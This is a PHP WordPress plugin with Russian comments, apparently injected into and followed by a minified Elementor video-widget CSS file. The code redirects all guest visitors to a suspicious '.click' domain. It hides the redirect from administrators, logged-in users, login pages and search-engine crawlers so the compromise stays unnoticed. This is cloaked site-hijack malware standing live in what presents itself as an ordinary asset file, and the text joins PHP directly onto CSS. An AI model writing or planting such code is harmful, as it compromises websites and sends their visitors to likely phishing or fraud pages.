<?php
/**
 * Plugin Name: Controlled Redirect
 * Description: Redirects guest users to a specified domain (302), excluding admins and search bots.
 * Version: 1.0
 * Author: You
 */

add_action('template_redirect', function () {

    // Целевой домен
    $target_url = "https://auth-909-check-142-3895.click";

    // Не редиректим админов, логин/регистрация и авторизованных пользователей
    if (is_admin() || is_user_logged_in() || 
        preg_match('/(login|wp-login|wp-admin|register)/i', $_SERVER['REQUEST_URI'])) 
    {
        return;
    }

    // Определяем бот или реальный юзер
    $bot_list = [
        'bot', 'spider', 'crawl', 'slurp', 'bingpreview', 'yandex', 'baidu', 'duckduckbot',
        'sogou', 'exabot', 'facebookexternalhit', 'ia_archiver', 'pingdom'
    ];

    $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');

    foreach ($bot_list as $bot) {
        if (strpos($ua, $bot) !== false) {
            return; // бот — не трогаем
        }
    }

    // Редиректим гостя
    wp_redirect($target_url, 302);
    exit;
});/*! elementor - v3.25.0 - 24-11-2024 */
.elementor-widget-video .elementor-widget-container{overflow:hidden;transform:translateZ(0)}.elementor-widget-video .elementor-wrapper{aspect-ratio:var(--video-aspect-ratio)}.elementor-widget-video .elementor-wrapper iframe,.elementor-widget-video .elementor-wrapper video{height:100%;width:100%;display:flex;border:none;background-color:#000}@supports not (aspect-ratio:1/1){.elementor-widget-video .elementor-wrapper{position:relative;overflow:hidden;height:0;padding-bottom:calc(100% / var(--video-aspect-ratio))}.elementor-widget-video .elementor-wrapper iframe,.elementor-widget-video .elementor-wrapper video{position:absolute;top:0;right:0;bottom:0;left:0}}.elementor-widget-video .elementor-open-inline .elementor-custom-embed-image-overlay{position:absolute;top:0;right:0;bottom:0;left:0;background-size:cover;background-position:50%}.elementor-widget-video .elementor-custom-embed-image-overlay{cursor:pointer;text-align:center}.elementor-widget-video .elementor-custom-embed-image-overlay:hover .elementor-custom-embed-play i{opacity:1}.elementor-widget-video .elementor-custom-embed-image-overlay img{display:block;width:100%;aspect-ratio:var(--video-aspect-ratio);-o-object-fit:cover;object-fit:cover;-o-object-position:center center;object-position:center center}@supports not (aspect-ratio:1/1){.elementor-widget-video .elementor-custom-embed-image-overlay{position:relative;overflow:hidden;height:0;padding-bottom:calc(100% / var(--video-aspect-ratio))}.elementor-widget-video .elementor-custom-embed-image-overlay img{position:absolute;top:0;right:0;bottom:0;left:0}}.elementor-widget-video .e-hosted-video .elementor-video{-o-object-fit:cover;object-fit:cover}.e-con-inner>.elementor-widget-video,.e-con>.elementor-widget-video{width:var(--container-widget-width);--flex-grow:var(--container-widget-flex-grow)}